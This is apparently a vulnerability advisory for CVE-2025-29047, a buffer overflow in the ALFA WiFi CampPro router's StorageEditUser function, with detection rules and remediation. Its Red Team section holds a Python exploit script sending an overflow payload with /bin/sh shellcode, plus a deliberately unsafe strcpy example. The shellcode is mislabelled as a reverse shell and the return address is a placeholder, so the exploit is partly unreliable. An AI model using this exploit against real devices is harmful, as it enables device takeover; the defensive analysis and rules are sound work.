CVE-2025-29047

Executive Summary

CVE-2025-29047 is a critical buffer overflow vulnerability identified in the ALFA WiFi CampPro router, specifically in firmware version ALFA_CAMPRO-co-2.29. The flaw resides in the StorageEditUser function, where the hiddenIndex parameter is not properly validated, allowing a remote attacker to trigger a buffer overflow and potentially execute arbitrary code. This vulnerability poses a significant risk to network integrity and confidentiality, as it can be exploited without authentication. Currently, no official patch is available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the potential for remote code execution.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics (remote, unauthenticated buffer overflow leading to arbitrary code execution), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows remote, unauthenticated attackers to execute arbitrary code, potentially leading to full device compromise, network pivoting, and data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-120) in the StorageEditUser function of the ALFA WiFi CampPro router's web management interface. The hiddenIndex parameter is used to index into a fixed-size buffer without proper bounds checking. By supplying an overly long value for hiddenIndex, an attacker can overwrite adjacent memory regions, including the return address on the stack. This allows for arbitrary code execution when the function returns.

Attack Vector:

1. The attacker sends a crafted HTTP request to the router's management interface (typically on port 80 or 443).
2. The request includes a malicious hiddenIndex parameter in the StorageEditUser function.
3. The function copies the parameter into a fixed-size buffer without validation, causing a buffer overflow.
4. The attacker controls the overwritten return address, redirecting execution to shellcode injected into the request.
5. The shellcode executes with the privileges of the web server (often root), giving the attacker full control over the device.

Impact:

• Full device compromise
• Network traffic interception and manipulation
• Use of the device as a pivot point for further attacks
• Denial of service (by crashing the device)

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the StorageEditUser function. A patched version would include proper input validation and bounds checking.

Vulnerable Code (Conceptual):

void StorageEditUser(char *hiddenIndex) {
    char buffer[64];
    strcpy(buffer, hiddenIndex); // No bounds check
    // ... rest of function
}

Patched Code (Conceptual):

void StorageEditUser(char *hiddenIndex) {
    char buffer[64];
    if (strlen(hiddenIndex) >= sizeof(buffer)) {
        // Log error and reject
        return;
    }
    strcpy(buffer, hiddenIndex);
    // ... rest of function
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• ALFA WiFi CampPro router with firmware ALFA_CAMPRO-co-2.29
• Attacker machine (Kali Linux)
• Network connectivity between attacker and router

Exploitation Steps:

1. Identify the router's IP address (e.g., 192.168.1.1).
2. Craft a malicious HTTP request with a long hiddenIndex parameter containing shellcode and a return address.
3. Send the request using a tool like curl or a custom Python script.

Example Exploit (Python):

import socket

target_ip = "192.168.1.1"
target_port = 80

# Shellcode (example: reverse shell)
shellcode = b"\x90" * 100  # NOP sled
shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Overflow payload
payload = b"hiddenIndex=" + b"A" * 64 + b"BBBB" + shellcode

request = b"POST /cgi-bin/StorageEditUser HTTP/1.1\r\n"
request += b"Host: " + target_ip.encode() + b"\r\n"
request += b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
request += b"\r\n"
request += payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(request)
s.close()

Note: This is a conceptual example. Actual exploitation requires precise memory layout and return address calculation.

Blue Team (Defense)

Detection:

• Monitor for unusually long HTTP POST requests to /cgi-bin/StorageEditUser.
• Look for patterns of repeated characters (e.g., "AAAA...") in the hiddenIndex parameter.
• Use network intrusion detection systems (NIDS) to flag buffer overflow attempts.

Mitigation:

• Isolate the router on a separate VLAN with strict access controls.
• Disable remote management if not required.
• Implement web application firewall (WAF) rules to block oversized parameters.
• Monitor for firmware updates from ALFA.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/StorageEditUser with hiddenIndex parameter exceeding 64 bytes.
  • Unusual outbound connections from the router to unknown IP addresses (e.g., reverse shell).
• Host:
  • Unexpected processes running on the router (if accessible via SSH).
  • Modified configuration files.
• Logs:
  • Router logs showing crashes or restarts.
  • Web server logs with long hiddenIndex values.

Detection Engineering

YARA Rule

rule CVE_2025_29047_Buffer_Overflow {
    meta:
        description = "Detects buffer overflow attempts targeting CVE-2025-29047 in ALFA WiFi CampPro router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29047"
    strings:
        $hiddenIndex = "hiddenIndex="
        $overflow = /hiddenIndex=[A-Za-z0-9]{65,}/
    condition:
        $hiddenIndex and $overflow
}

Sigma Rule

title: CVE-2025-29047 Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with overly long hiddenIndex parameter targeting ALFA WiFi CampPro router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/StorageEditUser'
        cs-uri-query|contains: 'hiddenIndex='
        cs-uri-query|length: >= 100
    condition: selection
falsepositives:
    - Legitimate long parameter values (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-29047 ALFA WiFi CampPro Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/StorageEditUser"; http_uri; content:"hiddenIndex="; http_client_body; pcre:"/hiddenIndex=.{65,}/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the router on a separate VLAN with no internet access if possible.
2. Disable remote management: Turn off WAN-side management interfaces.
3. Monitor for updates: Check ALFA's website or contact support for a firmware patch.
4. Implement WAF rules: Block requests with hiddenIndex parameters longer than 64 characters.

Long-term Solutions:

• Replace the router with a patched or more secure model.
• Implement network segmentation to limit exposure.
• Regularly audit IoT devices for vulnerabilities.

Workarounds:

• If the router is critical, consider using a reverse proxy with input validation to filter malicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert